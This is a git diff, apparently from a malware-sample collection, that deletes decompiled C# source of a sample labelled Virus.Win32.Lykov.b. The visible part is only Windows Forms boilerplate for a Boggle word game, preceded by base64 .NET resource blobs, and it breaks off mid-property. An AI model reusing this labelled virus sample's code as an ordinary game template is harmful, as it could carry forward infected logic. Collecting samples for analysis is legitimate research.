AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/frmMain.cs b/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/frmMain.cs deleted file mode 100644 index 33f90234..00000000 --- a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/frmMain.cs +++ /dev/null @@ -1,4481 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Boggle.frmMain -// Assembly: Boggle, Version=1.0.1320.31511, Culture=neutral, PublicKeyToken=null -// MVID: B8BB850A-887A-43B2-B89D-3D1301289D01 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using System; -using System.Collections; -using System.ComponentModel; -using System.Data; -using System.Data.OleDb; -using System.Diagnostics; -using System.Drawing; -using System.IO; -using System.Runtime.CompilerServices; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -namespace Boggle -{ - public class frmMain : Form - { - [AccessedThroughProperty("lbl14")] - private CircleLabel _lbl14; - [AccessedThroughProperty("BogBorder10")] - private BogBorder _BogBorder10; - [AccessedThroughProperty("lbl13")] - private CircleLabel _lbl13; - [AccessedThroughProperty("lbl12")] - private CircleLabel _lbl12; - [AccessedThroughProperty("lbl15")] - private CircleLabel _lbl15; - [AccessedThroughProperty("lbl11")] - private CircleLabel _lbl11; - [AccessedThroughProperty("lbl10")] - private CircleLabel _lbl10; - [AccessedThroughProperty("lbl9")] - private CircleLabel _lbl9; - [AccessedThroughProperty("lbl8")] - private CircleLabel _lbl8; - [AccessedThroughProperty("lbl7")] - private CircleLabel _lbl7; - [AccessedThroughProperty("lbl6")] - private CircleLabel _lbl6; - [AccessedThroughProperty("lbl16")] - private CircleLabel _lbl16; - [AccessedThroughProperty("lbl5")] - private CircleLabel _lbl5; - [AccessedThroughProperty("BogBorder11")] - private BogBorder _BogBorder11; - [AccessedThroughProperty("btnAddWord")] - private BogButton _btnAddWord; - [AccessedThroughProperty("lbl2")] - private CircleLabel _lbl2; - [AccessedThroughProperty("lbl3")] - private CircleLabel _lbl3; - [AccessedThroughProperty("mnuMain")] - private MainMenu _mnuMain; - [AccessedThroughProperty("lbl4")] - private CircleLabel _lbl4; - [AccessedThroughProperty("BogBorder12")] - private BogBorder _BogBorder12; - [AccessedThroughProperty("lbl1")] - private CircleLabel _lbl1; - [AccessedThroughProperty("BogBorder8")] - private BogBorder _BogBorder8; - [AccessedThroughProperty("BogBorder13")] - private BogBorder _BogBorder13; - [AccessedThroughProperty("BogBorder7")] - private BogBorder _BogBorder7; - [AccessedThroughProperty("mnuGame")] - private MenuItem _mnuGame; - [AccessedThroughProperty("BogBorder6")] - private BogBorder _BogBorder6; - [AccessedThroughProperty("BogBorder14")] - private BogBorder _BogBorder14; - [AccessedThroughProperty("BogBorder2")] - private BogBorder _BogBorder2; - [AccessedThroughProperty("BogBorder15")] - private BogBorder _BogBorder15; - [AccessedThroughProperty("Panel1")] - private Panel _Panel1; - [AccessedThroughProperty("mnuNewGame")] - private MenuItem _mnuNewGame; - [AccessedThroughProperty("mnuExitGame")] - private MenuItem _mnuExitGame; - [AccessedThroughProperty("BogBorder16")] - private BogBorder _BogBorder16; - [AccessedThroughProperty("mnuOptions")] - private MenuItem _mnuOptions; - [AccessedThroughProperty("txtWordFound")] - private TextBox _txtWordFound; - [AccessedThroughProperty("lstHumanWordsFound")] - private ListBox _lstHumanWordsFound; - [AccessedThroughProperty("mnuHelp")] - private MenuItem _mnuHelp; - [AccessedThroughProperty("tmrContMain")] - private System.Windows.Forms.Timer _tmrContMain; - [AccessedThroughProperty("tmrMain")] - private BogTimer _tmrMain; - [AccessedThroughProperty("picCubeDown")] - private PictureBox _picCubeDown; - [AccessedThroughProperty("lstCompFoundWords")] - private ListBox _lstCompFoundWords; - [AccessedThroughProperty("tmrBtn1")] - private Button _tmrBtn1; - [AccessedThroughProperty("tmrBtn2")] - private Button _tmrBtn2; - [AccessedThroughProperty("tmrBtn3")] - private Button _tmrBtn3; - [AccessedThroughProperty("CircleLabel3")] - private CircleLabel _CircleLabel3; - [AccessedThroughProperty("CircleLabel2")] - private CircleLabel _CircleLabel2; - [AccessedThroughProperty("CircleLabel1")] - private CircleLabel _CircleLabel1; - [AccessedThroughProperty("PictureBox1")] - private PictureBox _PictureBox1; - [AccessedThroughProperty("picCubesUp")] - private PictureBox _picCubesUp; - [AccessedThroughProperty("Label4")] - private Label _Label4; - [AccessedThroughProperty("BogBorder1")] - private BogBorder _BogBorder1; - [AccessedThroughProperty("Label3")] - private Label _Label3; - [AccessedThroughProperty("BogBorder3")] - private BogBorder _BogBorder3; - [AccessedThroughProperty("Label2")] - private Label _Label2; - [AccessedThroughProperty("BogBorder4")] - private BogBorder _BogBorder4; - [AccessedThroughProperty("Label1")] - private Label _Label1; - [AccessedThroughProperty("txtMain")] - private RichTextBox _txtMain; - [AccessedThroughProperty("Panel2")] - private Panel _Panel2; - [AccessedThroughProperty("tmrBtn4")] - private Button _tmrBtn4; - [AccessedThroughProperty("Panel3")] - private Panel _Panel3; - [AccessedThroughProperty("BogBorder5")] - private BogBorder _BogBorder5; - [AccessedThroughProperty("Label6")] - private Label _Label6; - [AccessedThroughProperty("lblRound")] - private Label _lblRound; - [AccessedThroughProperty("Label8")] - private Label _Label8; - [AccessedThroughProperty("Label7")] - private Label _Label7; - [AccessedThroughProperty("lblComputerRounds")] - private Label _lblComputerRounds; - [AccessedThroughProperty("Label5")] - private Label _Label5; - [AccessedThroughProperty("lblHumanRounds")] - private Label _lblHumanRounds; - [AccessedThroughProperty("MenuItem8")] - private MenuItem _MenuItem8; - [AccessedThroughProperty("lblHumanScore")] - private Label _lblHumanScore; - [AccessedThroughProperty("mnuHighScores")] - private MenuItem _mnuHighScores; - [AccessedThroughProperty("lblCompScore")] - private Label _lblCompScore; - [AccessedThroughProperty("lblHumanWordsCount")] - private Label _lblHumanWordsCount; - [AccessedThroughProperty("lblCompWordsCount")] - private Label _lblCompWordsCount; - [AccessedThroughProperty("mnuTips")] - private MenuItem _mnuTips; - [AccessedThroughProperty("pnlCubes")] - private BogPanel _pnlCubes; - [AccessedThroughProperty("pnlTimer")] - private BogPanel _pnlTimer; - [AccessedThroughProperty("pnlScore")] - private BogPanel _pnlScore; - [AccessedThroughProperty("MenuItem6")] - private MenuItem _MenuItem6; - [AccessedThroughProperty("btnFinish")] - private BogButton _btnFinish; - [AccessedThroughProperty("pnlWords")] - private BogPanel _pnlWords; - [AccessedThroughProperty("mnuEnableWordValidation")] - private MenuItem _mnuEnableWordValidation; - [AccessedThroughProperty("MenuItem5")] - private MenuItem _MenuItem5; - [AccessedThroughProperty("btnScramble")] - private BogButton _btnScramble; - [AccessedThroughProperty("mnuMode")] - private MenuItem _mnuMode; - [AccessedThroughProperty("btnContinue")] - private BogButton _btnContinue; - [AccessedThroughProperty("mnuEnableTimerFlash")] - private MenuItem _mnuEnableTimerFlash; - [AccessedThroughProperty("mnuTmr500")] - private MenuItem _mnuTmr500; - [AccessedThroughProperty("mnuBoardGameMode")] - private MenuItem _mnuBoardGameMode; - [AccessedThroughProperty("mnuTmr430")] - private MenuItem _mnuTmr430; - [AccessedThroughProperty("mnuTmr400")] - private MenuItem _mnuTmr400; - [AccessedThroughProperty("mnuTmr330")] - private MenuItem _mnuTmr330; - [AccessedThroughProperty("mnuTmr300")] - private MenuItem _mnuTmr300; - [AccessedThroughProperty("mnuVsMode")] - private MenuItem _mnuVsMode; - [AccessedThroughProperty("mnuTmr230")] - private MenuItem _mnuTmr230; - [AccessedThroughProperty("mnuTmr200")] - private MenuItem _mnuTmr200; - [AccessedThroughProperty("mnuTmr130")] - private MenuItem _mnuTmr130; - [AccessedThroughProperty("BogBorder9")] - private BogBorder _BogBorder9; - [AccessedThroughProperty("mnuTeachingMode")] - private MenuItem _mnuTeachingMode; - [AccessedThroughProperty("mnuTmr100")] - private MenuItem _mnuTmr100; - [AccessedThroughProperty("mnuTmr30")] - private MenuItem _mnuTmr30; - [AccessedThroughProperty("mnuTimerInterval")] - private MenuItem _mnuTimerInterval; - [AccessedThroughProperty("mnuEndGame")] - private MenuItem _mnuEndGame; - [AccessedThroughProperty("MenuItem4")] - private MenuItem _MenuItem4; - [AccessedThroughProperty("mnuLevelImpossible")] - private MenuItem _mnuLevelImpossible; - [AccessedThroughProperty("mnuLevelHard")] - private MenuItem _mnuLevelHard; - [AccessedThroughProperty("mnuLevelMedium")] - private MenuItem _mnuLevelMedium; - [AccessedThroughProperty("MenuItem2")] - private MenuItem _MenuItem2; - [AccessedThroughProperty("mnuLevelEasy")] - private MenuItem _mnuLevelEasy; - [AccessedThroughProperty("MenuItem3")] - private MenuItem _MenuItem3; - [AccessedThroughProperty("mnuAbout")] - private MenuItem _mnuAbout; - [AccessedThroughProperty("MenuItem1")] - private MenuItem _MenuItem1; - [AccessedThroughProperty("mnuEnableDefSearch")] - private MenuItem _mnuEnableDefSearch; - private IContainer components; - public DataTable FoundWords; - public string[] WordsChosen; - public Thread ShowWordThread; - public Thread ShowTextThread; - public Thread FindWordsThread; - public double ScramSec; - public bool LoadTextShown; - public int Min; - public double Sec; - public int Round; - public int ComputerRounds; - public int HumanRounds; - public int HumanScore; - public int ComputerScore; - [SpecialName] - private bool \u0024STATIC\u0024tmrContMain_Tick\u002420211C1211\u0024TimerGoing; - [SpecialName] - private bool[,] \u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection; - [SpecialName] - private int \u0024STATIC\u0024tmrContMain_Tick\u002420211C1211\u0024LoadWaitTime; - [SpecialName] - private StaticLocalInitFlag \u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection\u0024Init; - - [STAThread] - public static void Main() => Application.Run((Form) new frmMain()); - - internal virtual Label Label1 - { - get => this._Label1; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._Label1 == null) - ; - this._Label1 = value; - if (this._Label1 == null) - ; - } - } - - internal virtual Label Label2 - { - get => this._Label2; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._Label2 == null) - ; - this._Label2 = value; - if (this._Label2 == null) - ; - } - } - - internal virtual Label Label3 - { - get => this._Label3; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._Label3 == null) - ; - this._Label3 = value; - if (this._Label3 == null) - ; - } - } - - internal virtual Label Label4 - { - get => this._Label4; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._Label4 == null) - ; - this._Label4 = value; - if (this._Label4 == null) - ; - } - } - - internal virtual PictureBox PictureBox1 - { - get => this._PictureBox1; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._PictureBox1 == null) - ; - this._PictureBox1 = value; - if (this._PictureBox1 == null) - ; - } - } - - internal virtual Label Label5 - { - get => this._Label5; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._Label5 == null) - ; - this._Label5 = value; - if (this._Label5 == null) - ; - } - } - - internal virtual BogBorder BogBorder2 - { - get => this._BogBorder2; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._BogBorder2 == null) - ; - this._BogBorder2 = value; - if (this._BogBorder2 == null) - ; - } - } - - internal virtual BogBorder BogBorder6 - { - get => this._BogBorder6; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._BogBorder6 == null) - ; - this._BogBorder6 = value; - if (this._BogBorder6 == null) - ; - } - } - - internal virtual BogBorder BogBorder7 - { - get => this._BogBorder7; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._BogBorder7 == null) - ; - this._BogBorder7 = value; - if (this._BogBorder7 == null) - ; - } - } - - internal virtual BogBorder BogBorder8 - { - get => this._BogBorder8; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._BogBorder8 == null) - ; - this._BogBorder8 = value; - if (this._BogBorder8 == null) - ; - } - } - - internal virtual CircleLabel lbl1 - { - get => this._lbl1; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._lbl1 != null) - this._lbl1.CubeClick -= new CircleLabel.CubeClickEventHandler(this.CubeClick); - this._lbl1 = value; - if (this._lbl1 == null) - return; - this._lbl1.CubeClick += new CircleLabel.CubeClickEventHandler(this.CubeClick); - } - } - - internal virtual CircleLabel lbl4 - { - get => this._lbl4; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._lbl4 != null) - this._lbl4.CubeClick -= new CircleLabel.CubeClickEventHandler(this.CubeClick); - this._lbl4 = value; - if (this._lbl4 == null) - return; - this._lbl4.CubeClick += new CircleLabel.CubeClickEventHandler(this.CubeClick); - } - } - - internal virtual CircleLabel lbl3 - { - get => this._lbl3; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._lbl3 != null) - this._lbl3.CubeClick -= new CircleLabel.CubeClickEventHandler(this.CubeClick); - this._lbl3 = value; - if (this._lbl3 == null) - return; - this._lbl3.CubeClick += new CircleLabel.CubeClickEventHandler(this.CubeClick); - } - } - - internal virtual CircleLabel CircleLabel3 - { - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._CircleLabel3 == null) - ; - this._CircleLabel3 = value; - if (this._CircleLabel3 == null) - ; - } - get => this._CircleLabel3; - } - - internal virtual CircleLabel lbl2 - { - get => this._lbl2; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._lbl2 != null) - this._lbl2.CubeClick -= new CircleLabel.CubeClickEventHandler(this.CubeClick); - this._lbl2 = value; - if (this._lbl2 == null) - return; - this._lbl2.CubeClick += new CircleLabel.CubeClickEventHandler(this.CubeClick); - } - } - - internal virtual CircleLabel lbl5 - { - get => this._lbl5; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._lbl5 != null) - this._lbl5.CubeClick -= new CircleLabel.CubeClickEventHandler(this.CubeClick); - this._lbl5 = value; - if (this._lbl5 == null) - return; - this._lbl5.CubeClick += new CircleLabel.CubeClickEventHandler(this.CubeClick); - } - } - - internal virtual CircleLabel lbl6 - { - get => this._lbl6; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._lbl6 != null) - this._lbl6.CubeClick -= new CircleLabel.CubeClickEventHandler(this.CubeClick); - this._lbl6 = value; - if (this._lbl6 == null) - return; - this._lbl6.CubeClick += new CircleLabel.CubeClickEventHandler(this.CubeClick); - } - } - - internal virtual CircleLabel lbl7 - { - get => this._lbl7; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._lbl7 != null) - this._lbl7.CubeClick -= new CircleLabel.CubeClickEventHandler(this.CubeClick); - this._lbl7 = value; - if (this._lbl7 == null) - return; - this._lbl7.CubeClick += new CircleLabel.CubeClickEventHandler(this.CubeClick); - } - } - - internal virtual CircleLabel CircleLabel2 - { - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._CircleLabel2 == null) - ; - this._CircleLabel2 = value; - if (this._CircleLabel2 == null) - ; - } - get => this._CircleLabel2; - } - - internal virtual CircleLabel lbl8 - { - get => this._lbl8; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._lbl8 != null) - this._lbl8.CubeClick -= new CircleLabel.CubeClickEventHandler(this.CubeClick); - this._lbl8 = value; - if (this._lbl8 == null) - return; - this._lbl8.CubeClick += new CircleLabel.CubeClickEventHandler(this.CubeClick); - } - } - - internal virtual CircleLabel lbl9 - { - get => this._lbl9; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._lbl9 != null) - this._lbl9.CubeClick -= new CircleLabel.CubeClickEventHandler(this.CubeClick); - this._lbl9 = value; - if (this._lbl9 == null) - return; - this._lbl9.CubeClick += new CircleLabel.CubeClickEventHandler(this.CubeClick); - } - } - - internal virtual CircleLabel lbl10 - { - get => this._lbl10; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._lbl10 != null) - this._lbl10.CubeClick -= new CircleLabel.CubeClickEventHandler(this.CubeClick); - this._lbl10 = value; - if (this._lbl10 == null) - return; - this._lbl10.CubeClick += new CircleLabel.CubeClickEventHandler(this.CubeClick); - } - } - - internal virtual CircleLabel CircleLabel1 - { - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._CircleLabel1 == null) - ; - this._CircleLabel1 = value; - if (this._CircleLabel1 == null) - ; - } - get => this._CircleLabel1; - } - - internal virtual CircleLabel lbl11 - { - get => this._lbl11; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._lbl11 != null) - this._lbl11.CubeClick -= new CircleLabel.CubeClickEventHandler(this.CubeClick); - this._lbl11 = value; - if (this._lbl11 == null) - return; - this._lbl11.CubeClick += new CircleLabel.CubeClickEventHandler(this.CubeClick); - } - } - - internal virtual CircleLabel lbl12 - { - get => this._lbl12; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._lbl12 != null) - this._lbl12.CubeClick -= new CircleLabel.CubeClickEventHandler(this.CubeClick); - this._lbl12 = value; - if (this._lbl12 == null) - return; - this._lbl12.CubeClick += new CircleLabel.CubeClickEventHandler(this.CubeClick); - } - } - - internal virtual CircleLabel lbl13 - { - get => this._lbl13; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._lbl13 != null) - this._lbl13.CubeClick -= new CircleLabel.CubeClickEventHandler(this.CubeClick); - this._lbl13 = value; - if (this._lbl13 == null) - return; - this._lbl13.CubeClick += new CircleLabel.CubeClickEventHandler(this.CubeClick); - } - } - - internal virtual PictureBox picCubesUp - { - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._picCubesUp != null) - this._picCubesUp.Paint -= new PaintEventHandler(this.picCubesUp_Paint); - this._picCubesUp = value; - if (this._picCubesUp == null) - return; - this._picCubesUp.Paint += new PaintEventHandler(this.picCubesUp_Paint); - } - get => this._picCubesUp; - } - - internal virtual CircleLabel lbl14 - { - get => this._lbl14; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._lbl14 != null) - this._lbl14.CubeClick -= new CircleLabel.CubeClickEventHandler(this.CubeClick); - this._lbl14 = value; - if (this._lbl14 == null) - return; - this._lbl14.CubeClick += new CircleLabel.CubeClickEventHandler(this.CubeClick); - } - } - - internal virtual CircleLabel lbl15 - { - get => this._lbl15; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._lbl15 != null) - this._lbl15.CubeClick -= new CircleLabel.CubeClickEventHandler(this.CubeClick); - this._lbl15 = value; - if (this._lbl15 == null) - return; - this._lbl15.CubeClick += new CircleLabel.CubeClickEventHandler(this.CubeClick); - } - } - - internal virtual CircleLabel lbl16 - { - get => this._lbl16; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._lbl16 != null) - this._lbl16.CubeClick -= new CircleLabel.CubeClickEventHandler(this.CubeClick); - this._lbl16 = value; - if (this._lbl16 == null) - return; - this._lbl16.CubeClick += new CircleLabel.CubeClickEventHandler(this.CubeClick); - } - } - - internal virtual BogButton btnAddWord - { - get => this._btnAddWord; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._btnAddWord != null) - this._btnAddWord.Click -= new EventHandler(this.btnAddWord_Click); - this._btnAddWord = value; - if (this._btnAddWord == null) - return; - this._btnAddWord.Click += new EventHandler(this.btnAddWord_Click); - } - } - - internal virtual BogBorder BogBorder1 - { - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._BogBorder1 == null) - ; - this._BogBorder1 = value; - if (this._BogBorder1 == null) - ; - } - get => this._BogBorder1; - } - - internal virtual MainMenu mnuMain - { - get => this._mnuMain; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._mnuMain == null) - ; - this._mnuMain = value; - if (this._mnuMain == null) - ; - } - } - - internal virtual MenuItem mnuGame - { - get => this._mnuGame; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._mnuGame == null) - ; - this._mnuGame = value; - if (this._mnuGame == null) - ; - } - } - - internal virtual MenuItem mnuNewGame - { - get => this._mnuNewGame; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._mnuNewGame != null) - this._mnuNewGame.Click -= new EventHandler(this.mnuNewGame_Click); - this._mnuNewGame = value; - if (this._mnuNewGame == null) - return; - this._mnuNewGame.Click += new EventHandler(this.mnuNewGame_Click); - } - } - - internal virtual BogBorder BogBorder3 - { - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._BogBorder3 == null) - ; - this._BogBorder3 = value; - if (this._BogBorder3 == null) - ; - } - get => this._BogBorder3; - } - - internal virtual MenuItem mnuExitGame - { - get => this._mnuExitGame; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._mnuExitGame != null) - this._mnuExitGame.Click -= new EventHandler(this.mnuExitGame_Click); - this._mnuExitGame = value; - if (this._mnuExitGame == null) - return; - this._mnuExitGame.Click += new EventHandler(this.mnuExitGame_Click); - } - } - - internal virtual MenuItem mnuOptions - { - get => this._mnuOptions; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._mnuOptions == null) - ; - this._mnuOptions = value; - if (this._mnuOptions == null) - ; - } - } - - internal virtual MenuItem mnuHelp - { - get => this._mnuHelp; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._mnuHelp == null) - ; - this._mnuHelp = value; - if (this._mnuHelp == null) - ; - } - } - - internal virtual BogBorder BogBorder4 - { - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._BogBorder4 == null) - ; - this._BogBorder4 = value; - if (this._BogBorder4 == null) - ; - } - get => this._BogBorder4; - } - - internal virtual System.Windows.Forms.Timer tmrContMain - { - get => this._tmrContMain; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._tmrContMain != null) - this._tmrContMain.Tick -= new EventHandler(this.tmrContMain_Tick); - this._tmrContMain = value; - if (this._tmrContMain == null) - return; - this._tmrContMain.Tick += new EventHandler(this.tmrContMain_Tick); - } - } - - internal virtual BogTimer tmrMain - { - get => this._tmrMain; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._tmrMain == null) - ; - this._tmrMain = value; - if (this._tmrMain == null) - ; - } - } - - internal virtual PictureBox picCubeDown - { - get => this._picCubeDown; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._picCubeDown == null) - ; - this._picCubeDown = value; - if (this._picCubeDown == null) - ; - } - } - - internal virtual ListBox lstHumanWordsFound - { - get => this._lstHumanWordsFound; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._lstHumanWordsFound != null) - this._lstHumanWordsFound.MouseUp -= new MouseEventHandler(this.lstHumanWordsFound_MouseUp); - this._lstHumanWordsFound = value; - if (this._lstHumanWordsFound == null) - return; - this._lstHumanWordsFound.MouseUp += new MouseEventHandler(this.lstHumanWordsFound_MouseUp); - } - } - - internal virtual RichTextBox txtMain - { - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._txtMain == null) - ; - this._txtMain = value; - if (this._txtMain == null) - ; - } - get => this._txtMain; - } - - internal virtual TextBox txtWordFound - { - get => this._txtWordFound; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._txtWordFound != null) - this._txtWordFound.KeyPress -= new KeyPressEventHandler(this.txtWordFound_KeyPress); - this._txtWordFound = value; - if (this._txtWordFound == null) - return; - this._txtWordFound.KeyPress += new KeyPressEventHandler(this.txtWordFound_KeyPress); - } - } - - internal virtual Panel Panel1 - { - get => this._Panel1; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._Panel1 == null) - ; - this._Panel1 = value; - if (this._Panel1 == null) - ; - } - } - - internal virtual BogBorder BogBorder9 - { - get => this._BogBorder9; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._BogBorder9 == null) - ; - this._BogBorder9 = value; - if (this._BogBorder9 == null) - ; - } - } - - internal virtual Panel Panel2 - { - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._Panel2 == null) - ; - this._Panel2 = value; - if (this._Panel2 == null) - ; - } - get => this._Panel2; - } - - internal virtual BogBorder BogBorder10 - { - get => this._BogBorder10; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._BogBorder10 == null) - ; - this._BogBorder10 = value; - if (this._BogBorder10 == null) - ; - } - } - - internal virtual BogBorder BogBorder11 - { - get => this._BogBorder11; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._BogBorder11 == null) - ; - this._BogBorder11 = value; - if (this._BogBorder11 == null) - ; - } - } - - internal virtual BogBorder BogBorder12 - { - get => this._BogBorder12; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._BogBorder12 == null) - ; - this._BogBorder12 = value; - if (this._BogBorder12 == null) - ; - } - } - - internal virtual Panel Panel3 - { - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._Panel3 == null) - ; - this._Panel3 = value; - if (this._Panel3 == null) - ; - } - get => this._Panel3; - } - - internal virtual BogBorder BogBorder13 - { - get => this._BogBorder13; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._BogBorder13 == null) - ; - this._BogBorder13 = value; - if (this._BogBorder13 == null) - ; - } - } - - internal virtual BogBorder BogBorder14 - { - get => this._BogBorder14; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._BogBorder14 == null) - ; - this._BogBorder14 = value; - if (this._BogBorder14 == null) - ; - } - } - - internal virtual BogBorder BogBorder15 - { - get => this._BogBorder15; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._BogBorder15 == null) - ; - this._BogBorder15 = value; - if (this._BogBorder15 == null) - ; - } - } - - internal virtual BogBorder BogBorder16 - { - get => this._BogBorder16; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._BogBorder16 == null) - ; - this._BogBorder16 = value; - if (this._BogBorder16 == null) - ; - } - } - - internal virtual BogBorder BogBorder5 - { - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._BogBorder5 == null) - ; - this._BogBorder5 = value; - if (this._BogBorder5 == null) - ; - } - get => this._BogBorder5; - } - - internal virtual ListBox lstCompFoundWords - { - get => this._lstCompFoundWords; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._lstCompFoundWords != null) - this._lstCompFoundWords.MouseUp -= new MouseEventHandler(this.lstCompFoundWords_MouseUp); - this._lstCompFoundWords = value; - if (this._lstCompFoundWords == null) - return; - this._lstCompFoundWords.MouseUp += new MouseEventHandler(this.lstCompFoundWords_MouseUp); - } - } - - internal virtual Button tmrBtn1 - { - get => this._tmrBtn1; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._tmrBtn1 != null) - this._tmrBtn1.Click -= new EventHandler(this.tmrBtn1_Click_1); - this._tmrBtn1 = value; - if (this._tmrBtn1 == null) - return; - this._tmrBtn1.Click += new EventHandler(this.tmrBtn1_Click_1); - } - } - - internal virtual Button tmrBtn2 - { - get => this._tmrBtn2; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._tmrBtn2 != null) - this._tmrBtn2.Click -= new EventHandler(this.tmrBtn1_Click_1); - this._tmrBtn2 = value; - if (this._tmrBtn2 == null) - return; - this._tmrBtn2.Click += new EventHandler(this.tmrBtn1_Click_1); - } - } - - internal virtual Label Label6 - { - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._Label6 == null) - ; - this._Label6 = value; - if (this._Label6 == null) - ; - } - get => this._Label6; - } - - internal virtual Button tmrBtn3 - { - get => this._tmrBtn3; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._tmrBtn3 != null) - this._tmrBtn3.Click -= new EventHandler(this.tmrBtn1_Click_1); - this._tmrBtn3 = value; - if (this._tmrBtn3 == null) - return; - this._tmrBtn3.Click += new EventHandler(this.tmrBtn1_Click_1); - } - } - - internal virtual Button tmrBtn4 - { - get => this._tmrBtn4; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._tmrBtn4 != null) - this._tmrBtn4.Click -= new EventHandler(this.tmrBtn1_Click_1); - this._tmrBtn4 = value; - if (this._tmrBtn4 == null) - return; - this._tmrBtn4.Click += new EventHandler(this.tmrBtn1_Click_1); - } - } - - internal virtual Label lblHumanScore - { - get => this._lblHumanScore; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._lblHumanScore == null) - 